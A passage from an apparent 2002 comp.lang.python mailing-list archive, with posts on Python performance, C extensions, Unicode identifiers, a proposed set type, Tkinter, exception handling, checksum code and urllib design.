absolutely no idea what you want to do. If you give examples of input and output, we can tell you the Pythonic Way To Do It. Tim Delaney From quitelikely at yahoo.com.au Thu May 9 02:04:11 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 09 May 2002 16:04:11 +1000 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> Message-ID: <878z6tx3fo.fsf@tower.localdomain> "James J. Besemer" writes: > In other words are you seriously saying there are not "many" > applications in the world where Python probably would be too slow? IOW, how many is "many" and how fast is "fast enough"? These questions aren't really answerable without knowing more than we can know. So let's bury the dead and subsequently flogged horse, eh? ;-) On a slightly different note, I've found that Python has occasionally helped me to *speed up* an application quite significantly. Reason being that, in C++, poor algorithms were not as easily noticeable whereas in Python they're intolerable. As a simple (and contrived) example, take the following fibonacci functions in C++. int fib1(int n) { // numbskull version if (n < 3) return 1; return fib(n-2) + fib(n-1); } int fib2(int n, int a=1, int b=1) { // tail recursive version if (n < 3) return b; return fib2(n-1, b, a+b); } In C++, the speed difference isn't *very* dramatic, but running the equivalents in Python reveals the horrible inefficiency of the first. def fib1(n): if n < 3: return 1 return fib(n-2) + fib(n-1) def fib2(n, a=1, b=1): if n < 3: return b return fib2(n-1, b, a+b) (Yeah, I know: iterative version would be better still). Actually, here's a more realistic example: The other day somebody asked for advice on how to store and retrieve entries in a dictionary using an arbitrary combination of elements in a tuple as keys. Not understanding his problem correctly, I suggested that he use a permutation algorithm as part of the solution. If he'd taken my advice, no language in the world could have saved his skin ;-) The best way to produce fast code is to understand the problem. By minimising the irrelevant stuff, Python certainly helps with that. It leaves more time and headspace for re-thinking the 'whats' as well as the 'hows'. Cheers, P. From spahievi at vega.bg Fri May 24 16:11:38 2002 From: spahievi at vega.bg (Niki Spahiev) Date: Fri, 24 May 2002 23:11:38 +0300 Subject: Ann: Stackless Limbo Dancing Works Fine! In-Reply-To: References: Message-ID: <3313145402.20020524231138@vega.bg> Hello Fernando, Tuesday, May 21, 2002, 11:16:19 PM, you wrote: FP> On 5/21/02 12:07 AM, in article ueji35ihipuee3 at corp.supernews.com, "Andrew FP> Henshaw" wrote: >> An Occam channel is very simple and was implemented efficiently in the >> Transputer's microcode. I suspect that having only a single transmitting >> process and a single receiving process simplifies that task. As I said >> before, I believe that this holds for CSP also. FP> I can't find my CSP book, but from memory I don't think this is correct. FP> Through || (PAR), it is possible for several concurrent processes to attempt FP> to read or to write on the same channel. Then the channel implementation FP> needs a queue to hold all the blocked processes until a complementary event FP> occurs, at which point one of the pending requests is matched to the event FP> and the blocked process becomes runable. IIRC transputers had 4 ports and special chip which can be programmed to produce channel to any port of any transputer. So channels can't be shared. -- Best regards, Niki ______________________________________ VEGA(TM) Internet Service Provider Scanned and protected by Inflex Tova pismo e provereno i zashtiteno ot programite "Inflex/Antivir". From jolsen at mailme.dk Tue May 28 05:24:59 2002 From: jolsen at mailme.dk (Jesper Olsen) Date: 28 May 2002 02:24:59 -0700 Subject: returning a python array from a C extension References: <3CF29A3D.5EF81E74@cpsc.ucalgary.ca> Message-ID: Maxwell Todd Sayles wrote in message news:<3CF29A3D.5EF81E74 at cpsc.ucalgary.ca>... > in python i can write: > > from array import * > a = array ('B', 'some test data') > > and a refers to an array object. > > now i have a C extension for python that returns a PyString, and within > python i can convert it to an array > > e.g.: > > from array import * > from MyCExtension import * > a = array ('B', cfunction()) > > but this method requires an extra copy and construction from the string > to the array. > > is there a way i can have cfunction return a python array? i tried > looking through the include files with the Python/C API and couldn't > find anything. any help would be appreciated. > > Thanks, Maxwell Sayles You could also consider using the Numeric array type instead of the build-in array type. http://www.pfdubois.com/numpy/html2/numpy.html If nothing else, the big advantage is that the Numeric documentation actually describes how to do this. Cheers Jesper From matt at clondiag.com Tue May 28 11:36:45 2002 From: matt at clondiag.com (Matthias Kirst) Date: Tue, 28 May 2002 17:36:45 +0200 Subject: System Information win32 Message-ID: <3cf3a0bb$1@post.newsfeed.com> *** post for FREE via your newsreader at post.newsfeed.com *** Hi, I'm looking for code extracting win32 system information (memory usage, operating system, harddisk usage, processor). Thank you, Matt -----= Posted via Newsfeed.Com, Uncensored Usenet News =----- http://www.newsfeed.com - The #1 Newsgroup Service in the World! -----== 100,000 Groups! - 19 Servers! - Unlimited Download! =----- From huaiyu at gauss.almadan.ibm.com Thu May 9 16:23:30 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 9 May 2002 20:23:30 +0000 (UTC) Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Stephen J. Turnbull wrote: >>>>>> "Martin" == Martin v Loewis writes: > > Martin> It would break introspective tools who suddenly find > Martin> Unicode objects in attribute dictionaries. > >What Unicode objects? They find ordinary strings that are mandated to >be encoded in UTF-8. The tools only need to be 8-bit clean, and not >do anything that involves the assumption that #characters == #octets. >And _that_ only affects people using non-ASCII identifiers, which >might be OK since it is an extension. Out of curiosity: If a character is two bytes, what would len() report? If s is a unicode string with wide characters, would list(s) be made of characters or bytes? Would that be different under the current situation, or the PEP 263, or under Stephen's proposal? Would it change depending on how the unicode is encoded? A list of such simple questions and answers for various proposals would help many more people to understand the relevant PEPs. Huaiyu From markus.gloetzel at gmx.net Wed May 15 12:14:55 2002 From: markus.gloetzel at gmx.net (Markus Glötzel) Date: Wed, 15 May 2002 16:14:55 GMT Subject: how to run *.py in pythonshell on win98 References: <3ce2848a.19425450@news.cis.dfn.de> Message-ID: <3ce2893a.20625458@news.cis.dfn.de> Jeremy Yallop wrote: >| Now I want to know how to run file.py directly in the IDLE Python >| shell. > >edit->"Run script" Thanks alot! Is this a realtime ng ? :-) Markus From phlip_cpp at yahoo.com Mon May 20 13:39:00 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 20 May 2002 10:39:00 -0700 Subject: ScrolledText (over Tkinter.Text) validation Message-ID: <63604d2.0205200938.311b0a29@posting.google.com> Hypo Nt: I require a multi-line Text field with validation. It should, at least, bounce graphic characters outside a small range. After much messing with the options I have settled on this unhappy medium: from Tkinter import * def valid(vent): if vent.keysym_num > 255: return if vent.char not in "PERU": text = vent.widget text.event_generate('') return aText = Text() aText.bind('', valid) aText.pack() mainloop() Efforts to be more exact left the cursor in the wrong location, or prevented copy-n-paste, or didn't work. The problem with that code is it fails the chimp-test. If you bang the keyboard you can insert characters faster than that recursive I have liked to have intercepted the KeyPress event and removed the character before it went in, but the 'event' object was one-way. Does anyone have a better method? -- Phlip From stephen at xemacs.org Thu May 9 01:46:06 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 09 May 2002 14:46:06 +0900 Subject: Multibyte Character Surport for Python References: Message-ID: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v L?wis writes: Martin> So in the end, the only acceptable strategy would be to Martin> allow identifiers that contain letters (or letterlike Martin> symbols) in arbitrary languages. For Python, that would Martin> mean that attributes must be Unicode objects, which could Martin> cause code breakage. This would actually be rather simple if you just declare that Python programs as submitted to the (internal) parser must be in UTF-8, and ensure that PEP 263 codecs do this in a way transparent to the user. These codecs would have to differ from ordinary codecs in one way: they must know about ordinary Python strings (ie, not Unicode), and must _not_ translate those bytes to Unicode values, but rather pass them to the parser with their integral values unchanged but UTF-8- encoded. The parser would need to know what to do with ordinary strings (ie, decode UTF-8 encoded octets back to "raw" form) and Unicode strings (ie, transform from UTF-8 to UTF-16). Then you just lift the restriction that identifier names must consist of bytes < 128. A second stage would be to restrict identifier names from containing non-ASCII punctuation, whitespace, and other special characters, but this doesn't bother Python, only human readers (unless you want to extend Python syntax to include some non-ASCII symbols as reserved words). I see no reason why this would cause code breakage, although I haven't tried it yet. It would break debugging for people who abuse ordinary strings to contain externally-encoded text, as they would be unable to view their print'ed strings (externally encoded) in the same console as error messages referring to identifiers (UTF-8). But I think that's a GoodThang<0.1 wink>. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From rnd at onego.ru Tue May 14 12:53:15 2002 From: rnd at onego.ru (Roman Suzi) Date: Tue, 14 May 2002 20:53:15 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On 10 May 2002, Coady wrote: BTW, what are the chances of PEP218 being built into Python? (I mean, as built-in type, not library) I can't find any more discussions about that. My opinion is that set built-in type is very useful and using dictionaries for that is ugly. And I also think set type will not bloat Python much. >I'd like to announce the availability of set-0.1: an extension module >for Python 2.2+ which implements a set type. It's similar to the >specification in PEP 218. > >You can find it in the Vaults of Parnassus or more directly at: > >http://bent-arrow.com/python > >Comments are welcome, > >-Coady > > > Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ From anton at vredegoor.doge.nl Mon May 20 10:47:36 2002 From: anton at vredegoor.doge.nl (Anton Vredegoor) Date: Mon, 20 May 2002 16:47:36 +0200 Subject: clock Message-ID: Hello all, there seems to be no python clock application that runs with python and tkinter 'right out of the box'. So I wrote a very simple clock application: http://home.hccnet.nl/a.vredegoor/clock/clock.py or alternatively: http://home.hccnet.nl/a.vredegoor/clock/clock.html It would be nice if someone would add a dialog that configures an alarm function that would make it play a sound and let it blink at a specified time. Oh well, maybe there already is a python clock application using only tkinter and I just could'nt find it. Anton. From huaiyu at gauss.almadan.ibm.com Wed May 8 16:44:21 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 8 May 2002 20:44:21 +0000 (UTC) Subject: Exception handling References: Message-ID: J?rvinen Petri wrote: >Hello > >Is it possible to use dynamic binding in exception handling like in C++. > >I mean can I catch baseclass exception in my exception handler and get all >the derived classes catched aswell, like > >Class A: > >Class B(A): > >Class C(A): > >try: > ... >except A: > (this would catch also B and C) > You are so close to being able to try it out yourself: class A: pass class B(A): pass try: raise B() except A, e: print "caught", e caught <__main__.B instance at 0x816af4c> Huaiyu From cbbrowne at acm.org Mon May 6 23:56:12 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Mon, 06 May 2002 23:56:12 -0400 Subject: Readable Perl (was Re: Python vs. Perl, which is better to learn?) References: <3CD60E05.D9D8C1A6@engcorp.com> <3CD623A7.4EE48B14@engcorp.com> <3CD71B64.3A1E5614@engcorp.com> <3CD74CD5.68615FB@engcorp.com> Message-ID: Centuries ago, Nostradamus foresaw when Peter Hansen would write: > Christopher Browne wrote: >> >> In an attempt to throw the authorities off his trail, Peter Hansen transmitted: >> > But it is very impressive, for Perl code. My compliments to >> > the author. Any perceived lack of readability is clearly the >> > language's (and reader's) fault, not the author's. >> >> The author used to be a Common Lisp hacker, who wrote rather a lot of >> XEmacs, and was also heavily involved in the port of Mozilla to Unix, >> many moons ago. Older versions of Netscape Navigator/Communicator >> support the "about:jwz" URL/URN, which might link you somewhere >> interesting... > > I happen still to use 4.79, but unfortunately that links to a page > which says "Not Found. The requested object does not exist on this > server. The link you followed is either outdated, inaccurate, or > the server has been instructed not to let you have it." > > I'm sure Google would do a little better. :-) jwz left Netscape Communications Company on none other than April Fools' Day about three years ago, so he likely no longer has a "home page" there. Looking for "jwz.org" or "jwz.com" or such might prove fruitful... -- (concatenate 'string "aa454" "@freenet.carleton.ca") http://www.ntlug.org/~cbbrowne/lisp.html "... the open research model is justified. There is a passage in the Bible (John 8:32, and on a plaque in CIA HQ), "And ye shall know the truth, and the truth shall set ye free." -- Dave Dittrich From peter at engcorp.com Tue May 28 07:41:27 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 May 2002 07:41:27 -0400 Subject: Checksum code References: <93qe6WAvoz88Ewdb@jessikat.fsnet.co.uk> Message-ID: <3CF36CE7.74B3971C@engcorp.com> Robin Becker wrote: > > In article , > jepler at unpythonic.net writes > ...... > >It looks like the following version would "work" in 1.5.2 and 2.2: > > def _add32(x, y): > > return (0L+x+y) & 0xFFFFFFFFl > >the math again becomes math on longs, and the & restricts to 32 bits > >(intermediate results are calculated with more bits and cut down to > >size here) > > > >Jeff > ..... > yes I think you're right this works in Python. It's pretty inefficient, > but I suppose we need to use C if efficiency becomes an issue. I think even in C most of the time I've seen a table of (some) precalculated values used to speed it up. Why not do that in Python /if/ speed actually becomes a measurable problem? -Peter From fperez528 at yahoo.com Wed May 22 18:43:58 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 22 May 2002 16:43:58 -0600 Subject: slice objects vs. [] References: <3CEC1983.73E3A453@earthlink.net> Message-ID: Hans Nowak wrote: >> The docs are a bit outdated, I think. They don't describe __getslice__, >> which is what you want. Her's an example from my code: > > [snip] > > No, __getslice__ and friends are deprecated: > Ah! I read up to the previous section only and went ahead with implementing __getslice__. My bad. Thanks, f From fredrik at pythonware.com Wed May 1 06:09:02 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 10:09:02 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: <29Pz8.4571$p56.1051506@newsb.telia.net> James J. Besemer wrote: > The basic regex operators are similar to Python's, though Perl > adds some extras such as > > {n,m} # preceeding pattern matches at least n but no more than m times how is that different from Python's {m,n} Causes the resulting RE to match from m to n repetitions of the preceding RE, attempting to match as many repetitions as possible. For example, a{3,5} will match from 3 to 5 "a" characters. (see http://www.python.org/doc/current/lib/re-syntax.html) From kseehof at neuralintegrator.com Sat May 4 06:47:50 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Sat, 04 May 2002 03:47:50 -0700 Subject: Using functional tools In-Reply-To: Message-ID: > Pekka Niiranen says: > > I would like to feed every second (or 3rd or 4th .etc) item in a list > > to > > a function. > > > > list = ['a', 'b', 'c', 'd', 'e'] > > > > **some fancy map/filter -trick here** > > => list = ['a', function('b'), 'c', function('d'), 'e'] > > > > Is there a (functional) way without using for or while -structures ? I said: > Okay, if you find obfuscation by functional programming > as entertaining as I do, try this pattern: > > >>> def f(x): > ... return x*10 > ... > >>> n = 3 > >>> a = [1,2,3,4,5,6,7,8,9] > >>> [((i+1)%n) and a[i] or f(a[i]) for i in range(len(a))] > [1, 2, 30, 4, 5, 60, 7, 8, 90] I forgot to mention that this won't work if the list contains values that evaluate to false. However, since you were in the context of reading lines, I figured there's no problem (note that an empty line is '\n', which is a nonzero value) - Ken From jepler at unpythonic.net Mon May 27 15:16:48 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Mon, 27 May 2002 14:16:48 -0500 Subject: Checksum code In-Reply-To: References: Message-ID: <20020527141644.A3150@unpythonic.net> I think that you can simply write def _add32(x, y): return (x+y) & 0xFFFFFFFFl def calcChecksum(s): if len(s) & 3: s = (s+"\0\0\0") s = s[:len(s)&3] sum = 0 for n in unpack(">%dL" % (len(s)/4), s): sum = (sum + n) & 0xFFFFFFFFl return sum under Python 2.2. calcChecksum should even work under 1.5.2. (the items in the list from unpack() will all be longs) The difference is that this doesn't work under "overflow-prone" Python, and I've treated all math as unsigned by using "L" instead of "l" to decode. I'm not exactly sure what that does to your 'checksum = _add32(..., -checkSum)' step, mathematically speaking... it appears to leave the value "unchanged": >>> x 4294967295L >>> y -1 >>> _add32(0xb1b0afba, x) 2981146553L >>> _add32(0xb1b0afba, y) -1313820743 >>> hex(_add32(0xb1b0afba, y)) '0xb1b0afb9' >>> hex(_add32(0xb1b0afba, x)) '0xB1B0AFB9L' ... except for the matter of where the sign bit lives. It looks like the following version would "work" in 1.5.2 and 2.2: def _add32(x, y): return (0L+x+y) & 0xFFFFFFFFl the math again becomes math on longs, and the & restricts to 32 bits (intermediate results are calculated with more bits and cut down to size here) Jeff From m.hadfield at niwa.co.nz Thu May 23 02:04:27 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Thu, 23 May 2002 18:04:27 +1200 Subject: OT: off-topic References: <3CEC6B59.3E125BF2@replyto.address.invalid> Message-ID: "Ben Wolfson" wrote in message news:pan.2002.05.23.00.18.21.135060.3358 at uchicago.edu... > > A better solution is news.on-topic, which has the quality that > whatever is posted there is on-topic no matter what it is. That > way, whenever someone makes an off-topic post in a newsgroup, he or > she can be directed to news.on-topic, where there will doubtlessly > be some like-minded conversants. So, in news.on-topic, it would be forbidden to begin a subject line with "Off-topic:" or any abbreviation thereof? -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From mwh at python.net Fri May 10 04:52:35 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 10 May 2002 08:52:35 GMT Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> Message-ID: "Terry Reedy" writes: [evaluation of function arguments] > Left to right is guaranteed somewhere in ref manual, last I looked. I thought that, went looking for it and couldn't find it. Pointers? Cheers, M. -- First of all, email me your AOL password as a security measure. You may find that won't be able to connect to the 'net for a while. This is normal. The next thing to do is turn your computer upside down and shake it to reboot it. -- Darren Tucker, asr From mwh at python.net Wed May 15 09:42:38 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 15 May 2002 13:42:38 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> Message-ID: Siegfried Gonzi writes: > Python disposes the memory after completing the calculation (I can see > it in the task manager). But nobody has answered my question: Is Python > just a garbage collector or a garbace collector *and* remover? That's probably because noone understands what you mean. I certainly don't. What is a garbage remover? Cheers, M. -- Two decades later, well-known hacker Henry Spencer described the Perl scripting language as a "Swiss-Army chainsaw", intending to convey his evaluation of the language as exceedingly powerful but ugly and noisy and prone to belch noxious fumes. -- the jargon file From kragen at pobox.com Tue May 28 18:25:09 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 18:25:09 -0400 Subject: Casting PyArrayObjects to C types References: Message-ID: <831ybvucze.fsf@panacea.canonical.org> spam at fisher.forestry.uga.edu (Chris Fonnesbeck) writes: > Most of the references to interacting python with C are with respect > to extending, rather than embedding python. I am interested in the > latter. Section 5 of "Extending and Embedding the Python Interpreter" is about embedding it. > For example, how can I take a PyArrayObject, say a > PyArray_DOUBLE and convert it to a double[] type in C? I have a C > function that must call python code to get a Numeric Python array, > change it to a standard C array, and return it. How would I do this. There are sections in the Numerical Python docs about this; see section 12, "Writing a C Extension to Numpy". Myself, I found it very helpful to read the Numerical Python source code. From aleax at aleax.it Wed May 8 18:27:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 22:27:10 GMT Subject: Comments References: Message-ID: <2DhC8.39376$zW3.419749@news1.tin.it> Sean 'Shaleh' Perry wrote: ... > thanks for clearing that up Tim. Not sure I like the idea of random > strings being used for comments, but at least they are reasonably cheap. Totally random strings would make very unlikeable comments -- how can you be unsure about it? Just imagine the mishmash of letters, digits, punctuation -- suitable for a Perl script perhaps, but surely not for a Python comment. OTOH, random strings generated with some cleverness *might* make for interesting comments, admittedly. E.g.: [alex at lancelot cb]$ python past.py simple pixels update specific will png_set_compression_*() function into and or computational data. combine & when used either the bkgd (i.e. changes 8 were - png_structp = documentation code the following keyword. which Great when you have to code for a place whose styles specify mandatory comments and some minimal amount of comment vs code, no? Of course, you'll pastiche from a sample text appropriate to the program's subject. This of course may be generated from a simple program such as: import random def findNgram(haystack, needle): pos = 0 n0 = needle[0] ln = len(needle) lh = len(haystack) while pos+ln <= lh: try: where = haystack[pos:].index(n0) except: return -1 pos += where if haystack[pos:pos+ln]==needle: return where pos += 1 class pastiche: # any substantial file of English words will do just as well ifn='/home/alex/down/qt-x11-free-3.0.3/src/3rdparty/libpng/libpng.txt' data = open(ifn).read().lower().split() def renew(self, n, maxmem=3): self.result = [] for i in range(n): # randomly 'rotate' self.data randspot = random.randrange(len(self.data)) self.data = self.data[randspot:] + self.data[:randspot] where = -1 # get the N-gram locate = ''.join(self.result[-maxmem:]) while where<0 and locate: # locate the N-gram in the data where = findNgram(self.data, locate) # back off to a shorter N-gram if need be locate = locate[1:] c = self.data[where+len(locate)+1] self.result.append(c) return ' '.join(self.result) p = pastiche() for i in range(4): print p.renew(8) If you write many programs on similar subjects it's much faster to prepare and save the N-grams you require once and for all from a suitable corpus, then pasticheing them can be much faster than this. Alex From emailoffline at hotmail.com Tue May 14 12:18:01 2002 From: emailoffline at hotmail.com (Q) Date: Tue, 14 May 2002 16:18:01 GMT Subject: popen hangs on linux kernel 2.2.16 References: Message-ID: You can try using the win32pipe module or popen2 method "JP Dube" wrote in message news:rH8E8.33677$p87.869747 at wagner.videotron.net... > Hi, > > I wrote a small script that call the ping command using the popen function > in python. The script is working fine on kernel 2.4.16 but when I run it > under kernel 2.2.16 the command never returns and hangs there until I > manually kill it. Is there a workaround for this bug > > > Thanks > J-P Dube > > From norbert.klamann at klamann-software.de Wed May 8 01:39:08 2002 From: norbert.klamann at klamann-software.de (Norbert Klamann) Date: 7 May 2002 22:39:08 -0700 Subject: urllib, urllib2, httplib -- Begging for consolidation? References: Message-ID: <6afc8cab.0205072139.79ffb6dd@posting.google.com> brueckd at tbye.com wrote in message news:... > On Tue, 7 May 2002, A. Keyton Weissinger wrote: > > > Am I the only one that thinks these need to be pulled together some? I saw a > > PEP (268?) where there are some rumblings about adding some things to it as > > well. Maybe a combo project? > > Yes, part of the problem is that it's not obvious when you should use > which (e.g. urllib vs. urllib2). > > BUT, if there were to occur some sort of consolidation (meaning, > introducing incompatibilities or a whole new module), then we should use > that as an opportunity to restructure/redesign that whole set of modules > because, IMO, they've evolved past their original design. If we can come > up with a good organization, the actual implementation could be handled by > various members of the community. > > The original premise of urllib, that it helps your app open any type of > URL in roughly the same way, is pretty neat but now both urllib and > urllib2 have lots of stuff tacked on that is pretty HTTP-specific. Also, > I usually need to support only one protocol and I know in advance which > that is (usually HTTP, sometimes FTP), but the httplib docs imply that > httplib is more of an internal module. > > So... if we were to change something, I'd like us to build a rich HTTP > library that supports the super easy use case (gimme the data at this URL, > optionally posting this data right here first) as well as more complicated > cases (add in these request headers before sending the request to the > origin). It would be in this module (or one closely tied to it) that we'd > capture knowledge about the HTTP protocol, such as parsing and building > HTTP 1.0 and 1.1 compliant request and response headers, handling cookies, > basic and digest authentication, '\n' vs. '\r\n' line endings, easy-to-use > HTTPS, etc. Supporting routines (like quote, urlencode, urlparse) can > either be imported and exposed through the HTTP module, or kept in a > module with better definied boundaries. > > We could take the same approach with other protocols, and include modules > for FTP, plain files, etc. With all those in place we could still have the > "open any type of URL" routine built on top, but it should work only for > the simplest of use cases; if you need something more complex then you'd > go use the corresponding protocol library yourself. > > I'm not suggesting that we scrap the current protocol modules (they've be > very, very useful); it's just that over time they've grown up and are due > for some redesign/refactoring (the kind that will not be backwards > compatible). > > -Dave Anywhere in this structure should the handling of firewalls be integrated. All the best Norbert From feedback at suse.de Thu May 2 06:50:00 2002 From: feedback at suse.de (Feedback) Date: Thu, 2 May 2002 12:50:00 +0200 Subject: Questionnaire (Ticket [20020502990001000]) Message-ID: <200205021050.MAA16833@zuse.suse.de> ------------------------------------------------------------------------- (deutsche Version unten) Dear SuSE Linux User, thank you very much for your message regarding "Questionnaire" to feedback at suse.de. As you might know, feedback at suse.de has been set up for collecting ideas, bug reports and comments about our Linux Distribution, SuSE Linux. If you have multiple issues that you want to report, please send them in separate messages! This makes it much easier for us to process and forward your suggestions to the respective contact person. The more detailed your description is, the easier it is for us to work on your request. Therefore, please do not forget to supply as much relevant information as possible, e.g. the hardware and distribution you use as well as relevant extracts for log files. In addition to that, we would prefer reports in English, since our development team is very international and English is the common language for them. Thanks in advance for your support! We have received your message and will read it! However, it is not possible for us to guarantee a personal answer to your message, therefore you receive this automatic reply. We also cannot answer support requests via this channel either! Please contact our installation support , if you have a valid registration code or consult our support database at http://sdb.suse.de/sdb/en/html/ Thanks again for your feedback - we appreciate your support. Have a lot of fun! ------------------------------------------------------------------------- Sehr geehrter SuSE Linux-Benutzer, vielen Dank f?r Ihre E-Mail betreffs "Questionnaire" an feedback at suse.de. Wie Sie sicher wissen, ist feedback at suse.de dazu gedacht, Anregungen, Fehlermeldungen, Paketw?nsche oder Verbesserungsvorschl?ge unserer Kunden entgegenzunehmen, um sie ggf. in zuk?nftige Versionen von SuSE Linux einflie?en zu lassen. Falls Sie mehrere Punkte haben, die Sie uns mitteilen m?chten, schicken Sie diese bitte als separate Nachrichten! Dies macht es uns einfacher, Ihre Hinweise weiterzuverarbeiten und den entsprechenden Ansprechpartnern weiterzuleiten. Je detaillierter Ihre Beschreibung ist, desto einfacher ist es f?r uns, Ihr Anliegen zu bearbeiten. Vergessen Sie also nicht, Informationen zu der von Ihnen verwendeten Hardware und Distribution sowie relevante Eintr?ge aus Logdateien Ihrer E-Mail beizulegen. Weiterhin w?rden wir uns freuen, wenn Sie Ihre Hinweise bevorzugt in englischer Sprache verfassen k?nnten - ein Teil unseres Entwicklungsteams ist international verteilt und verwendet Englisch als gemeinsame Sprache. Dies macht es uns einfacher, Ihre Hinweise unverf?lscht weiterzugeben. Vielen Dank f?r Ihre Unterst?tzung! Wir haben Ihre Nachricht erhalten und werden sie auch bearbeiten! Jedoch ist es uns aus zeitlichen Gr?nden leider nicht immer m?glich, alle Nachrichten pers?nlich zu beantworten, deshalb erhalten Sie diese automatisch generierte Antwort. Ebenfalls ist es uns nicht m?glich, Supportanfragen zu beantworten oder Hinweise zur Konfiguration zu geben! Bitte wenden Sie sich in diesen F?llen an unseren Installationssupport , sofern Sie supportberechtigt sind, oder konsultieren Sie unsere Supportdatenbank unter: http://sdb.suse.de/ Nochmals vielen Dank f?r Ihre Nachricht - wir sch?tzen Ihre R?ckmeldung sehr! Have a lot of fun! With best regards / mit freundlichen Gruessen Your / Ihr SuSE Feedback Team -- ------------------------------------------------------------------ SuSE AG mailto:feedback at suse.de Deutschherrenstrasse 15-19 http://www.suse.de/ 90429 Nuernberg, Germany From peter at engcorp.com Mon May 20 13:19:13 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 13:19:13 -0400 Subject: Python Usage References: Message-ID: <3CE93011.F7664C74@engcorp.com> "cddlens at yahoo.com" wrote: > > I'm currently investigating Python for potential > company adoption, and it seems to be quite powerful. > I have some fundamental questions however: > > Is Python commonly used throughout an enterprise (such > as within IT, MIS) for script generation, Yes. > or mostly by software groups and teams that have dedicated > programmers writing full-blown applications? Yes. > Is often used by system managers as a replacement for batch > files or multiplatform scripting? Yes. > Is it more common within software/technology organizations > or within other sectors such as financial and manufacturing? Yes to that too. Python is used in many, many different areas and companies, so you'll have to refine your questions. What are you really trying to find out? These are not "fundamental" questions -- they are trivia -- and non-facetious answers would depend entirely on the context. What does your company do, and for what purpose do you intend to use Python? Are you concerned that you'll find few others companies doing the same thing? So what? When I started using Python for our factory automated testing system development, I was not aware of anyone else doing the same kind of thing. That was no reason not to do it, however, since it was clearly the right approach. Let's talk about your actual requirements. -Peter From aleax at aleax.it Fri May 3 03:10:27 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 07:10:27 GMT Subject: print , (was Re: Python vs. Perl, which is better to learn?) References: <7xn0viyspa.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > aahz at pythoncraft.com (Aahz) writes: >> Let this be a lesson to you newbies. ;-) (But I have no clue what >> lesson it should be...) > > It means print is even more complicated than I thought. I'm sorry but > I still consider the extra spaces from the print statement to be a > Python wart. Perl prints exactly what you tell it to, and I believe > that's the correct behavior. "Explicit is better than implicit". I find Python's print convenient for debugging purposes, and that's about all. No matter how refined the theoretical possibilities, some of us dinosaurs, at times, feel most comfortable rapidly sticking print statements at strategic points in the code to follow the control flow and data values, then commenting some of them out again, and so on. For this purpose, print's "convenience" features are just fine -- they save me a fraction of a second each time wrt explicitly using blanks, str calls, etc, or a formatstring. I've seen some beginners appreciate it similarly -- it's simplest to use for beginners' typically simple requirements (you could see this as a subcase of 'debugging', in that a beginner's often debugging his or her own knowlegde of the language;-). Beyond such uses, for which it's fine, print can indeed be considered a minor wart. It 'should' surely not be a statement, but a function (probably; perhaps a fileobject method, but i'm inclined to function by analogy with many other builtins -- the fileobject's responsibilities are embodied in the write method, just as other arguments are accessed through their stringification, only). Maybe (in the abstract -- backwards compatibility surely makes the change unfeasible now) print should be indeed a statement, but one much like assert -- to be ignored when Python is run with -O. After all, one doesn't use -O when debugging, or learning the language:-). Being a statement would be justified by the ignore-unless-debugging feature (a function would have its arguments evaluated anyway, thus paying substantial runtime price uselessly). Just musing... Alex From mchalkley at notthispart.direcway.com Mon May 27 12:11:10 2002 From: mchalkley at notthispart.direcway.com (Mark C) Date: Mon, 27 May 2002 12:11:10 -0400 Subject: Python program distribution revisited Message-ID: All, I looked at starting to use Python instead of Perl for custom data conversion programs a couple years ago, but discarded the idea because of the difficulty in distributing standalone Python apps to production machines. Have there been any significant improvements to Python in this regard in the interim? Is this an area ActiveState has addressed, for example, as they did with their Perl PDK? I'd really like to use Python in the future, but the ability to easily produce an exe that's (relatively) small in size, and requires no additional files, is an absolute necessity. Thanks! Mark C. From paul at boddie.net Mon May 20 11:17:15 2002 From: paul at boddie.net (Paul Boddie) Date: 20 May 2002 08:17:15 -0700 Subject: OT: Crazy Programming References: 